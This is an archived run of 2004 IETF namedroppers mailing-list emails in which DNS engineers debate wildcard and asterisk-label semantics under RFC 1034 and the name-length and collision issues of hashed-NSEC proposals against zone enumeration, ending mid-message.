Sep 2004 23:25:42 +1000 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <8F9004FBC1275CACC920E1D1@[192.168.100.25]> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 15:41:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-reply-to: Your message of "Fri, 10 Sep 2004 11:17:54 +0100." <8F9004FBC1275CACC920E1D1@[192.168.100.25]> Precedence: bulk > > > --On 10 September 2004 07:58 +1000 Mark Andrews <Mark_Andrews@isc.org> > wrote: > > > I dislike the hashing solutions as it introduces namespace > > pollution and doesn't allow all existing DNS zones to be signed. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > At the risk of annoying Olaf, but for the purposes of getting a common > understanding of all our position, could you elaborate on the bit > underlined by carrets? (i.e. either it's a new point or I've completely > missed something). > > Alex If I have a zone with domainnames/zonename that are almost maximal length the addition of the hash causes the resulting domainnames to exceed maximimal length. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 14:59:36 +0100 Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <Mark_Andrews@isc.org> Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 16:06:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: Message from Mark Andrews <Mark_Andrews@isc.org> of "Fri, 10 Sep 2004 23:25:42 +1000." <200409101325.i8ADPgP7041933@drugs.dv.isc.org> Precedence: bulk >>>>> "Mark" == Mark Andrews <Mark_Andrews@isc.org> writes: Mark> If I have a zone with domainnames/zonename that are Mark> almost maximal length the addition of the hash causes the Mark> resulting domainnames to exceed maximimal length. Another potential problem with the current hashing proposals is that a hash could collide with a label for an existing name. ie Suppose the hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo already exists as a delegation point or CNAME. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 10:26:10 -0400 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 16:40:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20040910094642.4fc59c65.olaf@ripe.net> To: "Olaf M. Kolkman" <olaf@ripe.net> Precedence: bulk At 9:46 +0200 9/10/04, Olaf M. Kolkman wrote: >On Thu, 09 Sep 2004 17:38:38 +0100 >Ben Laurie <ben@algroup.co.uk> wrote: > >> So, I guess, yes, allow them, but the first sentence of wildcard-clarify >> should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A >> WILDCARD". > > >Somewhere in this thread Kevin used the terms "wildcard" and >"asterix-label". I think that using these two terms brings a lot of >clarification. Maybe the phrase for a "wildcard" ought to be a "synthesis source." >The way I read the thread is that we may get consensus on: > >Allowing for an asterix-label anywhere in a domain name, while only >asterix-labels at the most significant position (or the left hand >side) of a domain name are interpreted as wildcards by the search >algorithm, is an interpretation of the scripture that is in line with >its spirit of 1034. > > >Am I way out of line with that statement? I need some clarification (no pun intended): Let's say I have this in my zone: example.com. SOA ... NS localhost. * TXT 1 bar.* TXT 2 *.bar.* TXT 3 If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? I think the answer for all three is "yes" (no trick questions intended;)). I.e., can both *.example.com and *.bar.*.example.com be wildcards (synthesis sources)? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 11:13:17 -0400 Lines: 83 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd67674b7a39@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:25:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-reply-to: <a06020407bd67674b7a39@[192.168.1.100]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > > > >Somewhere in this thread Kevin used the terms "wildcard" and > >"asterix-label". I think that using these two terms brings a lot of > >clarification. > > > Maybe the phrase for a "wildcard" ought to be a "synthesis source." > Clunky but descriptive. I would recommend it for this thread. > >The way I read the thread is that we may get consensus on: > > > >Allowing for an asterix-label anywhere in a domain name, while only > >asterix-labels at the most significant position (or the left hand > >side) of a domain name are interpreted as wildcards by the search > >algorithm, is an interpretation of the scripture that is in line with > >its spirit of 1034. > > > > > >Am I way out of line with that statement? > > I need some clarification (no pun intended): > > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > I think the answer for all three is "yes" (no trick questions intended;)). > > I.e., can both *.example.com and *.bar.*.example.com be wildcards > (synthesis sources)? I would think "Yes" for the 3 questions, and the last question. My read on 1034 and the wildcard discussion is that only the leftmost '*' indicates a synthesis source. Any '*' as a label in a multi-label string is just that: a label. In the name "*.bar.*.example.com" - *.bar.*.example.com ^ ^ | Just a character. synthesis source. Hope that comes out in the formatting... Scott > > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 15:59:40 +0100 Lines: 19 Sender: owner-namedroppers@ops.ietf.org References: <6282.1094824776@gromit.rfc1035.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:25:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jim Reid <jim@rfc1035.com>, Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <6282.1094824776@gromit.rfc1035.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 10 September 2004 14:59 +0100 Jim Reid <jim@rfc1035.com> wrote: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. Let's append ".*" to each hash label to ensure it doesn't collide then. (joke). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 11:36:13 -0400 Lines: 87 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:53:01 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <6191.1094692472@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk Asking for clarification... At 8:14 +0700 9/9/04, Robert Elz wrote: > | This opens the protocol to places it's not been, so there's no danger > | to old code. > >No. It doesn't. The extra '*' labels don't magically work as >wildcards, the lookup algorithm in 4.3.2 or 1034 would continue >unchanged. So, looking at an example I used in another message, *.example.com is not a wildcard (synthesis source) because there's a *.bar.*.example.com? >The text that was in Appendix A of the wildcard draft is certainly >not needed, not that, or anything like it. And explain the way >that wildcard lookups get done (with a liberal sprinkling of the words >from 1034 that explain how a '*' is an RR generator, and a complete >quashing of the notion that there is any kind of name pattern matching >happening - there isn't). Do you think the text in Appendix A is wrong? Just to make sure the text is preserved in the archives, here is Appendix A: Appendix A: Subdomains of Wild Card Domain Names In reading the definition of section 2 carefully, it is possible to rationalize unusual names as legal. In the example given, *.example. could have subdomains of *.sub.*.example. and even the more direct *.*.example. (The implication here is that these domain names own explicit resource records sets.) Although defining these names is not easy to justify, it is important that implementions account for the possibility. This section will give some further guidence on handling these names. The first thing to realize is that by all definitions, subdomains of wild card domain names are legal. In analyzing them, one realizes that they cause no harm by their existence. Because of this, they are allowed to exist, i.e., there are no special case rules made to disallow them. The reason for not preventing these names is that the prevention would just introduce more code paths to put into implementations. The concept of "closest enclosing" existing names is important to keep in mind. It is also important to realize that a wild card domain name can be a closest encloser of a query name. For example, if *.*.example. is defined in a zone, and the query name is a.*.example., then the closest enclosing domain name is *.example. Keep in mind that the closest encloser is not eligible to be a source of synthesized answers, just the subdomain of it that has the first label "*". To illustrate this, the following chart shows some matches. Assume that the names *.example., *.*.example., and *.sub.*.example. are defined in the zone. QNAME Closest Encloser Wild Card Source a.example. example. *.example. b.a.example. example. *.example. a.*.example. *.example. *.*.example. b.a.*.example. *.example. *.*.example. b.a.*.*.example. *.*.example. no wild card a.sub.*.example. sub.*.example. *.sub.*.example. b.a.sub.*.example. sub.*.example. *.sub.*.example. a.*.sub.*.example. *.sub.*.example. no wild card *.a.example. example. *.example. a.sub.b.example. example. *.example. Recall that the closest encloser itself cannot be the wild card. Therefore the match for b.a.*.*.example. has no applicable wild card. Finally, if a query name is sub.*.example., any answer available will come from an exact name match for sub.*.example. No wild card synthesis is performed in this case. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 19:16:04 +0100 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:28:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd67674b7a39@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > I think the answer for all three is "yes" (no trick questions intended;)). I agree. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 20:50:40 +0200 Lines: 41 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:57:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 10 Sep 2004 11:36:13 EDT." <a06020409bd677918a675@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <16942.1094842238.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > So, looking at an example I used in another message, *.example.com is > not a wildcard (synthesis source) because there's a > *.bar.*.example.com? I'd say it is as long as there are RRSets owned by *.example.com, which was the case in your example. Now if you left out the ``TXT 1'' RR from > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 there'd be a '*' label as an empty non-terminal. To avoid empty terminals, this should not instantiate '*.example.com' as a wildcard. However, that conflicts with step 3 of the algorithm in 1034. > Appendix A: Subdomains of Wild Card Domain Names Applying the split terminology 'asterisk label' vs. wildcard could clarify a lot here. > b.a.*.*.example. *.*.example. no wild card [...] > Recall that the closest encloser itself cannot be the wild card. Therefore > the match for b.a.*.*.example. has no applicable wild card. Applying the rule "it's just a star" I find this difficult to understand and inconsistent with the idea that the wildcard covering all subtrees. What about *.*.example. as a QNAME? That would be covered by closest encloser *.example. and *.*.example.com as a wildcard source. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 20:50:58 +0200 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:58:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 30 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:Uq0cPsVHhwyIfkZoM74frgWAVas= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. There are at least two solutions to that problem. The first is to use salting to make sure there are no collisions. The second one is to place the NSECbis record in a separate name space. For example: jim.foo IN A alex.jim.foo IN CNAME ... alex._no.foo IN NSECbis .... The second solution introduce new issues, like decreasing the length of the owner name by 3 bytes compared to naive hash based NSECbis. However, the second solution also has additional advantages. You can delegate the ._no. zone, to serve all NSECbis records from separate machines, which can be useful for dynamic NSECbis signing. Thanks, Simon PS. All of this has been mentioned before. It seems like a process failure that we keep repeating these discussions. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 20:04:31 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> <4141EF64.5030206@algroup.co.uk> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:12:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net> In-Reply-To: <4141EF64.5030206@algroup.co.uk> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > [A] If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? And just for further clarity: [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] is "1" (not "2") [E] if the query is for "bar.*.example.com, TXT", the answer is "2" Am I right? (I think [A] & [D] are are the MARID questions though I'm not following MARID). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 15:11:37 -0400 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> <4141EF64.5030206@algroup.co.uk> <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:20:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 20:04 +0100 9/10/04, Alex Bligh wrote: >> Let's say I have this in my zone: >> >> example.com. SOA ... >> NS localhost. >> * TXT 1 >> bar.* TXT 2 >> *.bar.* TXT 3 >> >> [A] If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? >> [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? >> [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > >And just for further clarity: > >[D] if the query is for "bar.star.example.com, TXT", the answer, like [A] >is "1" (not "2") > >[E] if the query is for "bar.*.example.com, TXT", the answer is "2" > >Am I right? Yeah. E is a direct hit. >(I think [A] & [D] are are the MARID questions though I'm not following >MARID). If I recall correctly, the desire there was to have: *.example.com MX ... _marid.*.example.com MARID ... And hope that the _marid record would match all the hits for the MX record. The thought came about from an understanding of the SRV record's prefixing convention (that the SRV record for ssh would be at _ssh._tcp.<hostname>). -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 15:06:17 -0400 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:20:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Precedence: bulk At 20:50 +0200 9/10/04, Peter Koch wrote: >there'd be a '*' label as an empty non-terminal. To avoid empty terminals, >this should not instantiate '*.example.com' as a wildcard. However, that >conflicts with step 3 of the algorithm in 1034. Ahh, yeah, what about empty non-terminal '*' nodes in the tree and the role they might play as a source of synthetic records. Sigh. I suppose if you read the very last paragraph of step 3, you would take this to mean that any name matching an empty non-terminal '*' node would result in a no error, no data return (neglecting the CNAME rules). >What about *.*.example. as a QNAME? That would be covered by closest >encloser *.example. and *.*.example.com as a wildcard source. I don't think that's right. If you have *.example.com and *.*.example.com in the zone and the query is for *.*.example.com, then you'd get a direct hit on the latter zone member. If the query was for *.*.*.example.com, you'd match the *.*.example.com "source of synthesis" - not the *.example.com. Does that make sense? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:19:46 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:32:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > [mailto:owner-namedroppers@ops.ietf.org]On Behalf Of Alex Bligh > > > Let's say I have this in my zone: > > > > example.com. SOA ... > > NS localhost. > > * TXT 1 > > bar.* TXT 2 > > *.bar.* TXT 3 > > > > [A] If the query is for "foo.bar.star.example.com, TXT" is the > answer "1"? > > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > And just for further clarity: > > [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] > is "1" (not "2") > Hmmm, not sure. The way I read RFC1034 algo, "star.example.com" is the closest encloser to the query, so NXDOMAIN would be returned. This would hamper one of the ideas the MARID WG had. > [E] if the query is for "bar.*.example.com, TXT", the answer is "2" > > Am I right? > I think that is the answer as well. Scott > (I think [A] & [D] are are the MARID questions though I'm not following > MARID). > > Alex > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:24:35 -0400 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <188752F3D902B821EF736503@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:32:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <188752F3D902B821EF736503@[192.168.100.25]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk Whoops, my bad: The closest encloser for [D] would be "example.com". not "star.example.com". At least that's my impression from the wildcard clarify draft. Scott > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > [mailto:owner-namedroppers@ops.ietf.org]On Behalf Of Alex Bligh > Sent: Friday, September 10, 2004 3:05 PM > To: Ben Laurie; Edward Lewis > Cc: Olaf M. Kolkman; namedroppers@ops.ietf.org; Alex Bligh > Subject: Re: more wild cards > > > > Let's say I have this in my zone: > > > > example.com. SOA ... > > NS localhost. 